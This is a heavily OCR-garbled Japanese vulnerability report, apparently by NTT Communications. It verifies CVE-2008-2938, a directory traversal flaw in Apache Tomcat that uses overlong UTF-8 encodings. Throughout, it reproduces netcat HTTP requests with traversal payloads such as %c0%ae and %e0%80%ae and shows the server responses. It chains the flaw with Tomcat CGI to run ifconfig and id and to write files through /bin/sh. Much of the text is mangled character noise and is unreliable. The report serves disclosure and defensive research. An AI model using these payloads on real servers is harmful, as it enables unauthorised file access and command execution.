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1. AEME

Apache Tomcat JQ 1£45 UTF-8 O£ FH %4 -7 DirectoryTraversal [8EIZ DU T,

® UTF-8 DUERBIA(LST-FIETHLHIE

® 3Byte DJUE: UTF-8 £HLTh, RIENEIL 5L

o [ .(BUAR)IDILE UTF-8 £HZ1FTiil, (AT yi =) |07 UTF-8 L Th.
MREN AT D

® Windows £ Tomcat Tix, \NOXv 72752 2){U+005CH DIt E 7 UTF-8 £ TH5H
[%C1%9C . [%E0%81%9C ] THIEH L7

® Windows E® Tomcat CTi&, ¥(HF B )NU+00A5} | THDHI%A5], UTF-8 £HTHD
[%C2%A5] . 3Byte DT E7: UTF-8 £ Ths F%E0%82%A5 INSES AP viNoY

® Apache-Tomcat EC, CGIUSATY) #FITL TV DA, EEDIv UV IRETINSSE
BRiERHHZE
> FFCEoTE, KVEREOE Ta<  FEET| LV fElRiEnid s

2. UTF-8 &l

UTF-8(8-bit UCS Transformation Format):i%, UNICODE OFRBED OEDTHS,
1Byte ® UTF-8 1%, ASCII = —R &[]l —1Z72 D TR F ST D,

LI FD XSz, 1Byte D CF(7bit ASCII & 8bit LA & T1F72L)), & 2Byte D L+
(UNICODE D2 L)YDr v ’lEEFET D,

1Byte us-ascii X=F 0zzzzzz2
1Byte 8bit X=F yz222227
2Byte X=F XXXXXXXX Yz22277727

72770, x,y,2) 1 (0 or 1) &35,

INBDOLFAILL F O LS/ a—RETRBTHZET UTF-8 KELLRD,

1Byte UTF-8 XRIH 0zzzzzzz | 1Byte us-ascii X=F
2Byte UTF-8 RIR 1100000z 10zzzzzz | 1Byte us-ascii X=F
110000yz 10zzzzzz | 1Byte 8bit X=F
3Byte UTF-8 &RIR 11100000 1000000z 10zzzzzz | 1Byte us-ascii X=F
11100000 100000yz 10zzzzzz | 1Byte 8bit X=F
1110xxxx 10xxxxyz 10zzzzzz | 2Byte X=

72720, ToJiZ, TO(E™) 12773 (UTF-8 L TiZ (0 or 1) DFEI THLHY)

LU, ARCEDLNIH T ON T, IVFENWTAARNTRETESLD, JLETHY, BIfEIEfT:
FRELTEE RS TG,

ZOILRFRZ AT TR UTF-8 RE | L5825,
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3. GVE-2008-2938

3.1. [(EUAR)] izonT

CVE-2008-2938 TafiiS#1C\ % Apache-Tomcat (Z1FE 5 UTF-8 DI E £ B & i ~7=
Directory Traversal [EIL, [.(EUAR) 1D UR7: UTF-8 REAEHIZLT, HEL THIETH
Do

Ko —RT%CO%AE] 1%, [0xCOJ&T0xAE | &) 2Byte |2 URL ¥ —R &5,

%D, T0xCOJ—111000000], 0xAE|—110101110 TH2,

ZHUZ, 2Byte DITE UTF-8 RELTHY, RFEOEHSTETEHEHL, EAZE Y RO 0% <
&, 100000101110 —0x2E | &725,

[0x2E 1%, 1. (EVAR) @D us-ascii ZH TH D,

VL EXD, T%CO%AE IET.(EVAR)  LRIFETH D0, [%CO0%AE%CO%AE ) iXl..(EVAR
i) ERFc2%, (ML (VAR @) 11X, EArT 4L 27N ERT)

ZDOIHREZ: UTF-8 RBUCL DX 2V 7 R8I, 1222 Microsoft ™ Web H—/ 3 IIS (T
TEAELT= MS00-057 3G 4 Th b,

4. CVE-2008-2938 & 3Byte D IT&AE: UTF-8 RE

3Byte DI 7: UTF-8 £ 81T, CVE-2008-2938 DO BENFHLLI=,
[(EVAR)1>FED, 0x2E D 3Byte D7 UTF-8 8%, [0xE0] 10x80] [0xAE] L7425,
(URL = a—R45L11%E0%80%AE |)

IDS THAZ L 7 2 F %% HE L CODHE7R L TlE, 3Byte DILE: UTF-8 RELZLD
IDS D TR WIINTEE THZEAHELET 5,

5. CVE-2008-2938 &I /(RSwa)1I2DUNT

(AT =) 1%, T0x2F ) Thd,

[[(2Fv3 =)D 2Byte DITF72 UTF-8 #£811Z0xCOJ [0xAF | TH D,

F72. 3Byte DI/(ZT v =) |OTE: UTF-8 2 H1Z0xE0) [0x80) [0xAF | TH 5,
[(AT =) OILE: UTF-8 2B Tt CVE-2008-2938 DA R BLL 7=,
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6. CVE-2008-2938 £ 7A ILinAH HUIZE T 2EERER

LIFOBREL T, EREIT T,

® (CentOS5.1

® JDK1.5.0_16
® Apache-Tomcat 5.5.26 335 TN Apache-Tomcat 6.0.16

6.1. Apache-

Tomcat 5.5.26 DHE

root@localhost:~

7 7 A JL{E)

htm
HELLO

FRER(E) Fr) WmxRI) #7(B) ~nFH)

localhost. localdomain(root):/usr/local fapache-tomcat-5.5, 26/webapps/RO0T> cat a,

localhost. localdomain{root):/usr/local fapache-tomcat-5.5, 26/webapps/RO0OT> cd ..
localhost. localdomain(root):/usr/local fapache-tomcat-5.5. 26/webapps? cat a.htm —
DirTra Tomcats. 5,26

localhost . localdomain{root):/usr/local fapache—tomcat-5.5. 26/ webappsy

B61-1:9xJ)L—k® Tahtm] OHE(E THELLOJ

[4]]

ZFD—DOLDELRET« LY ) ED Tahtm] OF &L IDirTra Tomcat5.5.26] &% 2TULV3,

CVE-2008-2938 #{#>T. FELMATa4 LY U LD
fahtm] MNFEAHEEZINESIHNRCDHBRANBTHD

e vk F0VTk
C:¥onc -nwvv 1’3” .2.3 8080

(UNKNOWN) [192.0.2.3
GET /a.htm HTTP 1.0

1od|’r|ezi Thzl 1 Aug 2008 16:17:02 GMT

Clon’r- ent-Tvpe: text/html
Content-Length: 6
Date: Thu, 21 Aug 2008 17:29:49 GMT

Connection: close

C:¥>

6.1-2: 2z JJ)L— bk Tlahtm] OF7 Y ER#ER,
BRERZRD Web H—/\(Tomcat)IFEEIZEIEL TS
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ev JY P F0LTk

192.0.2.3 8080
92.0.2.3] 8080 (?) open
c0%ae/a.htm HTTP/1.0

C:¥>nc -nwvv
(UNKNOWND (1
GET /%c0%aei

HTTP/1.1 200 OK

Server: Apache-Covote/1.1

ETag: W/"20-1219339771000"

Last-Modified: Thu, 21 Aug 2008 17:29:31 GMT
Content -Type: text/html

Content -Length: 20

Date: Thu, 21 Aug 2008 17:30:04 GMT

Connection: close

DirTra Tomcath.5.26

B 6.1-3 : 2Byte DK% UTF-8 RIAICx L TOHER,
CVE-2008-2938 MM EH YBHL TS

g vl S Wl o

C:¥onc -nwv 192.0.2.3 8080
(UNKNOWNY [192.0.2.3] 8080 (?) open
GET /%e0%80%aekel80%ae/a.htm HTTP/1.0

HTTP/1.1 200 OK

Server: bfpache-Covote/1.1

ETag: W/720-1219339771000”

Last-Modified: Thu, 21 Aug 2008 17:29:31 GMT

Content-Tvpe: text/html
Content -Length: 20
Date: Thu, 21 Aug 2008 17:30:20 GMT

Connection: close

sent 40, rcvd 241: NOTSOCK
C:¥>

4 )/4'
X 6.1-4 :3Byte DTULEAG UTF-8 R TH. BEOBENTETCVLIENERTED
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C:¥>nc -nvv 192.0.2.3 8080
(UNKNOWND) [192.0.2.3] 8080 (?) open
GET /..%c0%afa.htm HTTP/1.0

HTTP/1.1 200 OK

Server: &pache-Covote/1.1

ETag: W/720-1219339771000

Last-Modified: Thu, 21 Aug 2008 17:29:31 GMT

Content -Type: text/html
Content -Length: 20
Date: Thu, 21 Aug 2008 22:58:04 GMT

Connection: close

DirTra Tomcath.h. 2F

B615: T(EVA KR TEEL, MRTvI ) IZHLTORER UTF-8RIBTH.
MEODBENATETCVWLIENHETESD

cn J92F 0Tk
C:¥>nc -nwv 192.0.2.3 8080

(UNKNOWN) [192.0.2.3] 8080 (?) open
GET /..%e0%80%ata.htm HTTP/1.0

HTTPA1.1 200 OK

Server: bApache-Covote/1.]1

ETag: W/720-1219339771000

Last-Modified: Thu, 21 Aug 2008 17:29:31 GMT
Content -Type: text/html

Content-Length: 20

Date: Thu, 21 Aug 2008 23:00:14 GMT

Connection: close

DirTra Tomcath. 5 28

B 616: NN(RTvia)l ®3Byte DLEA UTF-8RIETH.
FREOHEBRATETVWSIENERTES
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6.2. Apache-Tomcat 6.0.16 DFA

root@localhost:~

274 0(E) WE(E) Fr(V) k(D) #7(B) ~WTF(H)

localhost, localdomain(root):/usr/local/apache-tomcat-6.0.16/webapps/R0O0T> cat a.ht|~
m

[Tomcat6lop i
localhost, localdomain(root):/usr/local/apache-tomcat-6.0.16/webapps/R00T) cd ..
domain(root):/usr/local/apache-tomcat—6.0.16/webapps) cat a.htm

DireTra
localhost. localdomain(root):/usr/local/apache-tomcat—6.0.16/webapps)

B62-1: 9 TI—b+®D Tahtm] OF&(F ITomcatéTopl
FTO—DOLEDFEART4 LY YLD Tahtm] O &L DireTral &% ->TLV5,
CVE-2008-2938 ZfE > T. FLRATA LY FJ LD

fahtm] BHEALHEEINESI DN ZOHBRRNETH S

g ] i

C:¥onc -nww 192.0.2.3 8080
(UNKNOWND [192.0.2.3] 8080 (?) open
GET Za.htm HTTP/1.0

HTTP/1.1 200 OK

Server: Apache-Covote/1.1

ETag: W/"11-1219339478000"

Last-Modified: Thu, 21 Aug 2008 17:24:38 GMT

Content -Type: text/html
Content-Length: 11
Date: Thu, 21 Aug 2008 17:26:34 GMT

Connection: close

B62-2:2xTJ)L—Fk lahtm] D7 YRR,
BEXED Web H—/(Tomeat) (FEEIZEMELTULVS
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ev JY P F0LTk

192.0.2.3 8080
92.0.2.3] 8080 (?) open
c0%ae/a.htm HTTP/1.0

C:¥>nc -nwvv
(UNKNOWND (1
GET /%c0%aei

HTTP/1.1 200 OK

Server: Apache-Covote/1.1

ETag: W/"8-1219339493000"

Last-Modified: Thu, 21 Aug 2008 17:24:53 GMT
Content -Type: text/html

Content -Length: 8

Date: Thu, 21 Aug 2008 17:27:06 GMT

Connection: close

B 6.2-3 : 2Byte D LK% UTF-8 RIAICx L TOFER,
CVE-2008-2938 MM EH YBHL TS

N ] e T W _ (O] x|

C:¥onc -nwv 192.0.2.3 8080
(UNKNOWNY [192.0.2.3] 8080 (?) open
GET /%e0%80%aekel80%ae/a.htm HTTP/1.0

HTTP/1.1 200 OK

Server: bfpache-Covotes/1.1

ETag: W/78-1219339493000"

Last-Modified: Thu, 21 Aug 2008 17:24:53 GMT
Content -Type: text/html

Content-Length: 8
Date: Thu, 21 Aug 2008 17:27:2% GMT

Connection: close

Direlra

4 )/4'
R 6.2-4 :3Byte DTULEAG UTF-8 R TH. BEOBEMNTETCLLENERTED
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ev JY P 7057k

C:¥onc -nvy 192.0.2.3 8080
(UNKNOWN) [192.0.2.3] 8080 (?) open
GET /..%c0%afa.htm HTTP/1.0

HTTP/1.1 200 OK

Server: fpache-Covote/1.1

ETag: W/78-1219339493000"

Last-Modified: Thu, 21 Aug 2008 17:24:53 GMT
Content-Type: text/html

Content -Length: 8

Date: Thu, 21 Aug 2008 23:02:32 GMT

Connection: close

B625: T(EUA KR TEEL, MRTvI ) IZHLTORER UTF-8RIBTH.
MEODBEATETCWLIENRETESD

e Jvv FOVFk
C:¥onc -nwy 192.0.2.3 8080
(UNKNOWN) [192.0.2.3] 8080 (?) open
GET /..%e0#80%afa.htm HTTP/1.0

HTTP/1.1 200 OK

Server: fpache-Covotes/1.1

ETag: W/78-1219339493000"

Last-Modified: Thu, 21 Aug 2008 17:24:53 GMT

Content -Type: text/html
Content-Length: 8
Date: Thu, 21 Aug 2008 23:03:05 GMT

Connection: close

B 6.26: NN(RTvia)l ®3Byte DLEA UTF-8RIETH.
FREOHEBRATETLSIENERTES

Copyright 2008 NTT Communications Corporation
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7. CVE-2008-2938 & OS Command Injection [ZR8 9 A EER&E
R

LT OBREE T, EBREIT-72,

® (CentOS5.1

® JDK1.5.0_16

® Apache-Tomcat 5.5.26

BEEIL, Perl A7V RN THHD, OS NAFVDFETTar T 50 CGL ZFF AL TWODEXEIZL T
WA E . Apache-Tomceat OENMEHEIR CTHF Al SNVIALE D 7 07 7 LR FETS DD SER
DdHD,

7.1. Apache-Tomcat 5.5.26 DIFE

E root@Iocalhost:/usr/iocal

Z74W(E) REE) HHRN) k(T H#I(B) ~NF(H)

localhost. localdomain(root):/usr/local/apache-tomcat-5.5. 26/webapps/ROOT/WEB-INF/cgi> type test-pl
.Cgi

21 /usr/bin/per|

print “Content-Type: text/htmlI\r\n\r\n":

print “<html><body>Hel lo{/body><{/html>";
ocalnost.localdomainiroot):/usr/local/apache-tomcat-5.5.26/webapps/ROOT/WEB-INF/cgi> ./test-pl.cg

[»]

i
Content-Type: text/html =

<html><body>He | |0{/body><{/html }localhost. Iocaldomain(root):/usr/locaI/apache—tomcat-S.5_26/webappsr_
B-TNF/cg1> -

71-1: A5 ) T +EBEL, WebJL— k@D Ttest-pl.cgil DAR.
Perl R T +THB

N v s

C:¥>nc -nwvv .0.2.3 ¢
CUNKNOW 0.2.3 (?) open
GET Zcgi-binftest-pl.cgi HITP/1.0

HTTP/1.1 200 OK

Server: Apache-Covote/1.1
Content-Type: text/html

Content -Length: 31

Date: Thu, 21 Aug 2008 21:19:39 GMT

Connection: close

<html><body>He |l o< ibody><Ahtml>sent 35, rovd 178: NOTSOCK

7.1-2 : T/cgi-bin/test-pl.cgil DFER,
Tomcat @ CGl (PerhWNIEEICBIEL TWLWB I EMNRH D

Copyright 2008 NTT Communications Corporation
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C:¥>nc -nvv 192,
[UNM&W\[ga' 2.3

Date: Thu, 21 ﬂu 008 21:20:59 GMT
Connection: close

sent 128, rcvd 121: NOTSOCK

C:¥>

7.1-3: T/shin/ifconfig] DFER,
Perl 2% ') 7 FF® Tomcat CGl DERTE TIE/A1 F 1) DEBNETEALY,
77 1ILDBEEEERSNDIRETHD

ex JY R ZF0F

C:¥onc “Nivy 192.0.2.3 8080

(UNRNJWH) [192.0 “] 90
in/ A« 0%ae/tc0%aetc0%ae/ ic0aekc0tae/ tc0bactc0%ae/ ke

xistFile HTTP/1.0

Mot Found
. Apache-Covotes/1.1
Content -Type: teAtzhtmI icharset=utf-3
Content -Lengt
Date: Thu, 21 Aug EUUE ARVARRENE

Connection: close

<html><head><t it le>bpache Tomcat/5.5.26 - Error report</title><styl|e><!--H]I {for
i lv:Tahoma,Arial,sans-serif;color: hl’te backhround colur #’325[]78 forﬁ :
22px; 1 H2 [font-family:Tahoma,Arial,san
X71-4: K713 BB UEE u; A 74’»’5—%5}2 L,T:iﬁi%“

2740(E) REE) For(V) k(T £27(B) ~NI(H)

[

localhost. localdomain(root):/usr/local/apache-tomcat-5.5.26/webapps/ROOT/WEB-INF/cgi)> ./test.c|*
gi
Content-Type: text/plain

Hello CGl Program on Tomcat
localhost. localdomain(root):/usr/local/apache-tomcat-5.5.26/webapps/ROOT/WEB-INF/cgi> cd ../..
localhost . localdomain(root):/usr/local/apache-tomcat-5.5.26/webapps) ./test.cgi
Content-Type: text/plain

Hello World
localhost. localdomain(root):/usr/local/apache-tomcat-5.5. 26/webapps) |] -

B 7.1-5: RICINAF)EHRAE LT, Web/L— D Ttest.cgil &=REE LD ltestcgil THS

Copyright 2008 NTT Communications Corporation
12



g ——

N'T T Communications

SR-20080111

ev I FoLT7h

C:¥>nc -nvv 192.0.2.3 8080
(UNKNOWN) [192.0.2.3] 8080 (?) open
GET /cgi-bin/test.cgi HTTP/1.0

HTTP/1.1 200 OK

Server: Apache-Covote/1.1
Content-Type: text/plain
Content-Length: 29

Date: Thu, 21 Aug 2008 20:22:5%5 GMT
Connect ion: close

Hello CGI Program on Tomcat

sent 372, rcvd 177: NOTSUCK

C:¥>

7.1-6 : [/cgi-bin/test.cgil DFER,
Tomcat A CGI(/NA F ) ZELKDEBLTWBS I LA HERTED

ev v/ 7oLk =3

C:¥>nc -nvv 192.0.2.3 3080
(UNKNOWNY [192.0.2.3] 8080 (?) open
GET /czi-bin/#c0%aetcl%ae/%c0%aekclae/ kclkackclkae/test .cai HTTP/1.0

HTTP/1.1 200 OK

Server: Apache-Covote/1.1
Content-Type: text/plain
Content-Length: 13

Date: Thu, 21 Aug 2008 20:22:36 GMT

Connection: close

Hello World

1. revd 161: NOTSOCK

B 7.1-7 : T/cgi-bin/%C0%AE%CO%AE/%CO%AE%CO%AE/%CO%AE%CO%AE/test.cgil DFER,
ERBLEMAD Ttestegil NFRHEEINTWVNDI END, FED OSCommand ZETTES LRI

Copyright 2008 NTT Communications Corporation
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& Jvvk 207k
C:¥>nc -nvv 192.0.2.3 8080
(UHKNO?H* [1qf 0.2.3] 8080 (?} open

HTTP/1.1 200 OK
-1 Apache-Covote/1.1

: Link encap: Ethernet HWaddr 00:0C:29:C7:BA:19
inet addr: 192.0.2.3 Bcast:192.0.2.255% Mask:255.255.255.0
inetG dddr‘ ch;U LUL, ’gff ’reuf bd1\3z 84 ucope Lll’ll’\
UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric:1
R¥ packets: 443 errors:0 dropped:0 overruns:0 frame:0
T¥ packets: 620 errors:0 dropped:0 overruns:0 carrier:0
collisions: 0 txqueuelen:1UUU
RX bvtes: 32883 (32.1 KiB) TX bytes:511874 (499.8 KiB)
Interrupt: 169 Base address: U 2000
Content-Length: 409
Date: Thu, 21 Aug 2008 21:01:35 GMT
Connection: close

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inetb addr: ::1/128 Scope:Host
UP LOOPBACK RUNMING MTU:16436 Metric:1
R¥ packets:1413 errors:0 dropped:0 overruns:0 frame:(
TX packets:1413 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txaueuelen:(
R¥ bytes: 2073420 (1.9 MiB) TX bytes:2073420 (1.9 MiB)

, revd 992: NOTSOCK

B 7.1-8: T/sbinfifconfigl ZIEUH L1-#ER

C:¥onc -nvv 192.0.2.3 8080
(UNKNO“NI [197 0 3] 8080 k?J open

. #c0%ae/tc0%aetc0%ae/%
#aelc Xae,nc aetclZae/usr/bindic
0% Yae/tc0%aek U fP | HTTP’] 0

o

tc0%aeic0¥ae/tc0%aekc0%ae/ig

HTTPA1.1 200 OK

Server: Apache-Covote/1.1
Content-Length: 0
Date: Thu, 21 Aug 2008 21:02:09 GMT

Connection: close

sent 125, rcvd 121: NOTSOCK
C:¥

B 7.1-9: Tjusr/binfid] Z#FEUH L1I=#EER,
E5%, BFERIGVVIATURIE, BAShBEWESE,

Copyright 2008 NTT Communications Corporation
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#ae/tc0%ackc0%ae/Ec0%ackc0%ae/tnp/a. txt

Haetc0%ae/tcl¥aekc0iae/bc0%ackc0%ae/t
mpda. txt
Server: bpache-Coyvote/1.1
Content -Type: te<+ w+m| charset=utf-8
Content -Leng
Date: Thu, 21 Aug fUU8 21:02:42 GMT

Connection: close

<html><head><t it le>dpache Tomcat/5.5.26 - Error report</title><
t-familv: Tahoma,Arial,sans-serif;color:white;background-color:#525076; font-size: 4
71-10: A 719 DHERMS, T7AMINICHASELS EER T,

(&, Thmplatxt] HNEWNZ EEFEELT

8080

o

0‘:1"‘1 JC' 10‘:16
-ct/usr/bin/ i d>

HTTP/1.1 200 OK

Server: Apache-Covote/1.1

Content -Length: 0

Date: Thu, 21 Aug 2008 21:04:02 GMT

Connection: close

sent 147, rcvd 121: NOTSOCK

7.1-11: ® 7.1-10 DkIE.  T/oin/sh -¢ Jusr/bin/id>/tmp/a.txt] Z#E{fTL 1=

CUNKNOWN) [
GET /%cﬂ%aeéu
HTTP/1.0

he-Covote/1.1

g: 3-1219352641000"
Last -Mod i f ied: Thu, 21 Aug 2008 21:04:01 GMT

Content-Type: text/plain

Connection: close

7.1-12: ¥ 7.1-11 %12 Thmplatxt] IZ7 9 R FT B & T,
—fTEFRT AT FOERTHERLIGT S ENTES
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HTTP/1.1 200 OK

Server: Apache-Covotes1.1

Content-Length: 93
Date: Thu, 21 Aug 2008 21:34:3:
Connection: close

, 1bin),Z(daemon),3(svs),

B 71-13: ESEDOAEEFRDOBEET, shavwy KEEWL, D lTecho] a2 RTZETE
HASEZZET, Tpwdl & Tidl =207y FORTHEERTSEL:

8. Windows £ @ Tomcat THDN\/\YIRSYS 1) IDREE
UTF-8 R

NSy Z AT 2) 11X T0X5e) Th D, (ST AT =)D 2Byte DILER UTF-8 KHLZ
fOxC1])10x9C | &7 %,

3Byte M7 UTF-8 £ HLiL, TOXEQ) 0x81) [0X9C | TH D,

MS-Windows kfz?> Apache-Tomcat CHHLSH TA7-fE 4L, CVE-2008-2938 2N FHLL 7=,

LI FOBRE T, ERRaiT-o7,
® Microsoft-WindowsXP SP3
® DK 1.6.0 07

® Apache-Tomcat 5.5.26

Copyright 2008 NTT Communications Corporation
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8.1. Apache-Tomcat 5.5.26 D4

4 » ﬂ
B 8.1-1: lahtm] DERE /] OMELR UTFSRIRZED 1.%C0%AFa.htm] DEWLEFESR

4 3 é
B81-2:X81-1MDk=E, N\ OTLEL UTF8 RIFFHED I/.9%C1%9Cahtm] TH.

3Byte D TR A UTF8 RIFFHE [/.%E0%81%9Ca.htm] THHRIBL TLVS,

Copyright 2008 NTT Communications Corporation
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9. Windows _E @) Tomcat TOIMN¥ (MRS (U+00A5))1ETLELR
UTF-8 &RI{

UNICODE Tit., N¥(I3 8) 1 & [ ATy o | L1387 5 TU+00AB  IZEID S THAL TS,
o T, T%A5], UTF-8 ZELTHAHI%C2%A5 ], F3L TN 3Byte DK 72 UTF8 £ Ei
[%6E0%82%A5 | (22T, MS-Windows 2> Apache-Tomcat CTH-ELSHTH7-,

ZOfEF:. CVE-2008-2938 [XFFHL L2 ~7-,

BT OREET, EREATT,
® Microsoft-WindowsXP SP3
® DK 1.6.0 07

® Apache-Tomcat 5.5.26

9.1. Apache-Tomcat 5.5.26 DiG&

9.1-1: l/.%ABahtm] TIEFTS>—&%5

Bg9.1-2: I/.%C2%A5a.htm] TlXTS—&E4H3

Copyright 2008 NTT Communications Corporation
18



R —
N_TTCommumcatrons SR-20080111

4:04:49 GMT

9.1-3: T/.%E0%82%A5a.htm] TIETS—¢ %45

10. BREEFXE

NTT a2 =A—3 g AR
IT v XA M —ERAFEL R N — T R A M —E R
X )T F R — g —

s R A&

11. &

® CVE-2008-2938
http://www.cve.mitre.org/cgi—bin/cvename.cgi?name=CVE-2008-2938

® milwOrm.com
http://www.milwOrm.com/exploits/6229

® Tomcat DTALYRM)FSIA—H )L DIESEMEICER T HEELR—F
http://www.nttdata—sec.co.jp/column/report20080813.pdf

® Tomcat [ZTAL IR MS/A—4H LIRS, NTT T—2- X2 T AT EMLE
http://www.atmarkit.cojp/news/200808/13/tomcat.html

o [FRILIS—ITLD. T7AIADBRTILREDER ] OIEFEHEITTT 3K
(MS00-057)
http://www.microsoft.com/japan/technet/security/bulletin/ms00-057.mspx

® Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability
http://www.securityfocus.com/bid/1806
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12. BEE

® 20084 08 A 26 H : ver0.1 {R2\Ef
® 20084 08 A 27 H : ver0.2 {RABH GRFIFAEIEIE)

® 200809 H15H : ver03 NJMD UTF8 T ERITMI%C1%1C 1 EWLNSEHELET%C1%9C

{EIELT-, HEEE(U+00A5)ZDLN\THDEERFEBMLT=,
® 2008 F 09 A 25 H : ver1.0 AE (AR EURLDIENL., IRFRFEIEIE)
® 2009 05 A 26 B : verl.l Web YA FSERIZHE SR ETIRAB URL DEE

13. EFARD22BH URL

http://www.ntt.com/icto/security/data/soc.html#security_report

14. ARLHR—HMZBETBIEESEE

NTT aZa=4/—arX#%kA et
ITIROAVN Y —ERBEHRYNT—II R AMF—E RER
TFATFAFRL—ar o E—

e—mail: scan@ntt.com

U E
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